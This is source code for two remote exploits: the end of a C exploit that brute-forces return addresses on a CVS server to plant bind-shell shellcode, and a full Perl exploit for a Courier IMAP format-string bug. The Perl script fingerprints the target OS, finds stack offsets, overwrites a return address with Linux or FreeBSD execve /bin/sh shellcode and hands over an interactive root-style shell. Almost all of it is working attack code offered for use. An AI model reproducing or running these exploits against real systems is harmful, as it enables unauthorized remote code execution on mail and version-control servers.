return 1; } break; case ‘u’: if ((user = strdup(optarg)) == NULL) { perror(“strdup(user)”); return 1; } break; case ‘p’: if ((pass = malloc(strlen(optarg)+2)) == NULL) { perror(“malloc(pass)”); return 1; } cvs_pass(pass, optarg); break; case ‘f’: if (sscanf(optarg, “%08x”, (unsigned int *) &from_addr) != 1) { fprintf(stderr, “Invalid address: %s\n”, optarg); return 1; } if (from_addr % 4) { fprintf(stderr, “Address not aligned on 4-bytes-boundary: 0x%08x\n”, (unsigned int) from_addr); return 1; } break; case ‘s’: if (sscanf(optarg, “%08x”, (unsigned int *) &stop_addr) != 1) { fprintf(stderr, “Invalid address: %s\n”, optarg); return 1; } if (stop_addr % 4) { fprintf(stderr, “Address not aligned on 4-bytes-boundary: 0x%08x\n”, (unsigned int) stop_addr); return 1; } break; case ‘c’: if (sscanf(optarg, “%08x”, (unsigned int *) &code_addr) != 1) { fprintf(stderr, “Invalid address: %s\n”, optarg); return 1; } break; case ‘b’: bind_port = atoi(argv[1]); if (bind_port < 1 || bind_port > 65535) { fprintf(stderr, “Invalid port: %s\n”, argv[1]); return 1; } break; case ‘?’: case ‘h’: usage(argv[0]); return 1; } argc -= optind; argv += optind; if (argc < 1 || argc > 2) { usage(arg0); return 1; } addr = argv[0]; if (argc >= 2) { port = atoi(argv[1]); if (port < 1 || port > 65535) { fprintf(stderr, “Invalid port: %s\n”, argv[1]); return 2; } } /* * Set the port to bind to in the shellcode. */ *((unsigned short *) &code[28]) = htons(bind_port); /* * Loop to bruteforce a return address or function pointer. * Set from_addr and stop_addr with the -f/-s arguments to * bruteforce any range. In this case I think bruteforcing * a return address is more convenient that bruteforcing a * GOT-entry or .dtors. * * If you have access to the cvs-binary however, then it is * certainly more convenient to extract GOT/dtors-address * and use the -f argument. To extract the dtors-address * you could use: * * objdump -x /path/to/cvs | awk ‘$2 == “.dtors” { print $4 }’ * * Then add 4 to that number to get the address you want to * overwrite, and use that with the -f argument. You should * get a shell on the first attempt, or the exploit has failed * for some reason (e.g. heap layout / wrong return address). */ glibc233 = 0; func_addr = from_addr; for (;;) { int sd, rc; fprintf(stderr, “Trying 0x%08x\n”, (int) func_addr); if ((sd = tcp_connect(addr, port, 0)) == -1) return 3; if (cvs_auth(sd, root, user, pass) == -1) return 4; if ((rc = cvs_argx(sd, root, code_addr, func_addr, glibc233)) == 0) { fprintf(stderr, “Exploit succeeded. Shell bound at port %lu\n”, bind_port); return 0; } close(sd); if (rc == -3) break; if (rc == -2) { glibc233 = 1; continue; } if (func_addr == stop_addr) break; if (from_addr < stop_addr) func_addr += 4; else func_addr -= 4; } return 1; }
imap-authdebug.pl:
#!/usr/bin/perl # # Linux/x86 & FreeBSD/x86 exploit for Courier IMAP <= 3.0.3. # # Requires DEBUG_LOGIN to be set >= 1 in the imapd config. # # Copyright (C) Joel Eriksson, Bitnux 2004 # use strict; use IO::Socket::INET; use IO::Select; ########################################################################### # Exit with an error message if more than two arguments are given die "Usage: $0 [ADDR] [PORT]\n" if @ARGV > 2; # Get address and port from the command line, or use default values my $addr = shift || 'localhost'; my $port = shift || 143; ########################################################################### # Make a simple initial test to see if the host is vulnerable or not die "[-] Host does not seem vulnerable.\n" if ! &is_vuln($addr,$port); ########################################################################### # Declaring global variables # There are some chars the shellcode cannot contain for this exploit. # Those are defined in the @illegal_chars list later in this script. # The shellcode starts with doing dup2(1, 2) since stderr does not # point to the socket descriptor (but stdout/stdin does). # Linux/x86 shellcode my $lnux_code = # dup2(1, 2); "\x31\xc0". # xor %eax,%eax "\x31\xdb". # xor %ebx,%ebx "\x31\xc9". # xor %ecx,%ecx "\xb1\x02". # mov $0x2,%cl "\x43". # inc %ebx "\xb0\x3f". # mov $0x3f,%al "\xcd\x80". # int $0x80 # execve("/bin/sh", { "/bin/sh", NULL }, NULL); "\xeb\x14". # jmp jumpme # callme: "\x5a". # pop %edx "\x89\xd3". # mov %edx,%ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x49". # mov $0x49,%al "\x34\x42". # xor $0x42,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xe7\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" # Linux/x86 stack base my $lnux_base = 0xc0000000; # FreeBSD/x86 shellcode my $fbsd_code = # dup2(1, 2); "\x31\xc0". # xor %eax,%eax "\xb0\x02". # mov $0x2,%al "\x50". # push %eax "\x48". # dec %eax "\x50". # push %eax "\xb0\x5a". # mov $0x5a,%al "\x50". # push %eax "\xcd\x80". # int $0x80 # execve("/bin/sh", { "/bin/sh", NULL }, NULL); "\xeb\x0e". # jmp callme # jumpme: "\x5e". # pop %esi "\x31\xc0". # xor %eax,%eax "\x88\x46\x07". # mov %al,0x7(%esi) "\x50". # push %eax "\x50". # push %eax "\x56". # push %esi "\xb0\x3b". # mov $0x3b,%al "\x50". # push %eax "\xcd\x80". # int $0x80 # callme: "\xe8\xed\xff\xff\xff". # call jumpme "/bin/sh"; # .ascii "/bin/sh" # FreeBSD/x86 shellcode my $fbsd_base = 0xbfc00000; my ($code,$base); if (&is_writable($addr,$port,$lnux_base-4)) { # If the Linux stack base minus 4 is writable, # the target is most likely a Linux system. $code = $lnux_code; $base = $lnux_base; } elsif (&is_writable($addr,$port,$fbsd_base-4)) { # If the FreeBSD stack base minus 4 is writable, # the target is most likely a FreeBSD system. $code = $fbsd_code; $base = $fbsd_base; } else { die "[-] Could not determine OS\n"; } ########################################################################### # Determine offset to stack base print STDERR "[*] Determining offset to end of stack\n"; my $end_off = &get_end_offset($addr,$port); die "[-] Could not determine offset to end of stack\n" if $end_off eq 0; print STDERR "[+] Offset to end of stack: $end_off\n"; ########################################################################### # Determine offset to buffer print STDERR "[*] Determining offset to buffer\n"; # Known writable address my $good_addr = pack("L",$base-4); # Known non-writable/invalid address my $evil_addr = "zzzz"; my $buf_off = &get_buf_offset( $addr,$port, 300,$end_off, $good_addr,$evil_addr ); die "[-] Could not determine offset to buffer!\n" if $buf_off eq 0; print STDERR "[+] Offset to buffer: $buf_off\n"; ########################################################################### # Calculate address of buffer my $buf_addr = $base - ($end_off - $buf_off) * 4; printf STDERR "[+] Address of buffer: 0x%08x\n", $buf_addr; ############################################################################ # Bruteforce offset to saved retaddr in auth_debug()'s stack frame # Start trying at offset 260 (due to 1024 bytes buf, minimum 257) my $min_off = 260; # 32 tries should be enough to reach ret in auth_debug()'s stack frame my $max_off = $min_off + 32; for my $ret_off ($min_off..$max_off) { my $ret_addr = $base - ($end_off - $ret_off) * 4; exit 0 if &try_xpl($addr,$port,$buf_off,$buf_addr,$ret_addr,$code); } print STDERR "Exploit failed!\n"; exit 1; ########################################################################### BEGIN { my @illegal_chars; # We don't want to use chars that are handled specially # by do_readtoken() in src/imaptoken.c. At least not if # we want those chars to be copied into the 'tag' buffer # in mainloop() (imap/mainloop.c). A backslash (0x5c) is # okay as the _first_ character in the buffer though. push @illegal_chars, chr(0x28); # ( push @illegal_chars, chr(0x29); # ) push @illegal_chars, chr(0x5b); # [ push @illegal_chars, chr(0x5d); # ] push @illegal_chars, chr(0x7b); # { push @illegal_chars, chr(0x7d); # } push @illegal_chars, chr(0x22); # " push @illegal_chars, chr(0x5c); # \ push @illegal_chars, chr(0x20); # SPACE push @illegal_chars, chr(0x0c); # \f push @illegal_chars, chr(0x0a); # \n push @illegal_chars, chr(0x0d); # \r push @illegal_chars, chr(0x09); # \t push @illegal_chars, chr(0x0b); # \v push @illegal_chars, chr(0x00); # NUL # Connect to an imap-server, read and discard the banner message. sub imap_connect { my ($addr,$port) = @_; my ($sock,$line); # Connect to server $sock = IO::Socket::INET->new( PeerAddr => $addr, PeerPort => $port, Proto => 'tcp' ) or die "imap_connect: $!\n"; my $sel = new IO::Select($sock); # Wait max 5 seconds for the banner. if ($sel->can_read(5.0)) { # Read line from socket $line = <$sock>; } else { close $sock; return 0; } $sock->autoflush(1); return $sock; } # Try a format string and return the response. Mostly used # to distuingish between format strings that causes a crash # and format strings that does not. sub try_fmt { my ($addr,$port,$fmt) = @_; for (@illegal_chars) { if (index($fmt,$_) != -1 && ($_ ne chr(0x5c) || index($fmt,$_,1) != -1)) { printf STDERR "try_fmt: Illegal char (0x%02x) in string\n", ord($_); return ""; } } # Connect to server my $sock = &imap_connect($addr,$port); # Send format string print $sock "$fmt\n"; # Read line from socket my $line = <$sock>; # Close connection $sock->close(); # Return line return $line; } # Checks if the server is vulnerable by checking if it # receives an error message starting with the string sent # if it sends a harmless string, and if it causes a crash # (e.g. closed connection) when sending a format string # that writes via a number of pointers on the stack. sub is_vuln { my ($addr,$port) = @_; my $line; $line = &try_fmt($addr,$port,"test"); return 0 if ! defined($line) || ! $line =~ /^test/; $line = &try_fmt($addr,$port,"%n%n%n%n%n%n%n%n"); return 0 if defined($line) && $line ne ""; return 1; } # Checks if an address is writable by writing via a # pointer on the stack on an offset large enough to # always be somewhere inside the 'tag' buffer and # embed the address to write to there (1024 times). # # If it causes a crash, the address is not writable. sub is_writable { my ($addr,$port,$ow_addr) = @_; my $line; my $fmt = "%1024\$n."; $fmt .= pack("L",$ow_addr)x1024; $line = &try_fmt($addr,$port,$fmt); return 0 if ! defined($line) || $line eq ""; return 1; } # Determine the offset to the end of the stack sub get_end_offset { my ($addr,$port) = @_; # Step-size when bruteforcing the offset to the end of the stack my $step_size = 256; # Initialize n (offset to test) my $n = $step_size * 20; my ($min,$max) = (0,1000000); # Determine initial step direction my $line = &try_fmt($addr,$port,"%$n\$x"); # Step downwards if crash $step_size = -$step_size if ! defined($line) || $line eq ""; while ($n > 0 && abs($step_size) > 1) { # Adjust n (offset to test) $n += $step_size; if ($step_size > 0) { # If searching for crash-offset if ($n >= $max) { $step_size = -($step_size / 2); $n += $step_size; } } else { # If searching for non-crash-offset if ($n <= $min) { $step_size = -($step_size / 2); $n += $step_size; } } # print STDERR "Trying $n... "; $line = &try_fmt($addr,$port,"%$n\$x"); if (defined($line) && $line ne "") { # print STDERR "works, min = $n\n"; $min = $n; } else { # print STDERR "crash, max = $n\n"; $max = $n; } if ($step_size > 0) { # If searching for crash-offset $step_size = -($step_size / 2) if ! defined($line) || $line eq ""; } else { # If searching for non-crash-offset $step_size = -($step_size / 2) if defined($line) && $line ne ""; } } if ($n <= 0) { # Return 0 if the search failed return 0; } else { # Return the minimum offset that causes a crash return $min + 1; } } # Determine the offset to the end of the buffer sub get_buf_offset { my ($addr,$port,$min,$max,$good_addr,$evil_addr) = @_; for my $n ($min..$max) { # Send format string to write to address at offset N # and embed a known writable address in the buffer. my $line = &try_fmt($addr,$port,"${good_addr}%$n\$n"); # Try again, with $evil_addr, if it did not crash if (defined($line) && $line ne "") { # Send format string to write to address at offset N # and embed a known non-writable address in the buffer. $line = &try_fmt($addr,$port,"${evil_addr}%$n\$n"); # Return the offset if it crashed this time return $n if ! defined($line) or $line eq ""; } } return 0; } # Construct a format string to write the ow_data-value (1st arg) # to the ow_addr-address (2nd arg), when the offset to the buffer # on the stack is buf_off (3rd arg) bytes. sub xpl_fmt { my ($ow_data,$ow_addr,$buf_off) = @_; # Extract the low / high 16 bits of ow_data my $lo_data = ($ow_data >> 0x00) & 0xffff; my $hi_data = ($ow_data >> 0x10) & 0xffff; # Determine which part to overwrite with 1st/2nd write my $data1 = $lo_data < $hi_data ? $lo_data : $hi_data; my $data2 = $lo_data < $hi_data ? $hi_data : $lo_data; # Calculate size of filler before 1st/2nd write my $n1 = $data1 - length("command=") - 8; my $n2 = $data2 - $data1; # Set address to overwrite with 1st/2nd write my $ow_addr1 = $lo_data < $hi_data ? $ow_addr + 0 : $ow_addr + 2; my $ow_addr2 = $lo_data < $hi_data ? $ow_addr + 2 : $ow_addr + 0; # Set offset to mbedded ow_addr1/ow_addr2 my $buf_off1 = $buf_off + 0; my $buf_off2 = $buf_off + 1; my $fmt; # Construct format string to overwrite ow_addr $fmt .= pack("L",$ow_addr1); # Addr to overwrite with data1 $fmt .= pack("L",$ow_addr2); # Addr to overwrite with data2 $fmt .= "%${n1}u%$buf_off1\$hn"; # Overwrite ow_addr1 $fmt .= "%${n2}u%$buf_off2\$hn"; # Overwrite ow_addr2 return $fmt; } # Make an exploit attempt. sub try_xpl { my ($addr,$port,$buf_off,$buf_addr,$ow_addr,$code) = @_; # Pad buffer to this size before appending the shellcode my $pad_until = 64; # Calculate address of shellcode my $ow_data = $buf_addr + $pad_until; my $fmt; # Construct format string to overwrite ow_addr (hopefully a # return address) with the address to our shellcode. $fmt .= &xpl_fmt($ow_data,$ow_addr,$buf_off); # Make exploit string $fmt .= "A"x($pad_until-length($fmt)); # Pad to pad_until bytes $fmt .= $code; # Shellcode for (@illegal_chars) { if (index($fmt,$_) != -1 && ($_ ne chr(0x5c) || index($fmt,$_,1) != -1)) { printf STDERR "[-] Skipping 0x%08x due to illegal char (0x%02x)\n", $ow_addr, ord($_); return ""; } } printf STDERR "[*] Overwriting 0x%08x with shellcode address\n", $ow_addr; # Connect to server my $sock = &imap_connect($addr,$port); # Send format string print $sock "$fmt\n"; # To make sure commands are sent in a different packet select(undef,undef,undef,0.1); # Send commands to be executed print $sock "echo r00t; uname -a; id\n"; my $line; do { # Read line from socket $line = <$sock>; } while (defined($line) && $line =~ /^sh:/); if (defined($line) && $line eq "r00t\n") { print STDERR "Exploit succeeded, dropping you into a shell.\n"; copy_loop($sock); close $sock; return 1; } return 0; } # Relay data between the socket and stdin/stdout sub copy_loop { my ($sock) = @_; # Spawn child process my $child = fork(); # Define signal handler for SIGINT $SIG{INT} = sub { exit }; if ($child) { # In parent process # Read data from socket and send to stdout while (<$sock>) { print } # Send SIGINT when the server has closed the connection kill 2, $child; } else { # In child process # Read data from stdin and send to socket while (<>) { print $sock $_ } } } }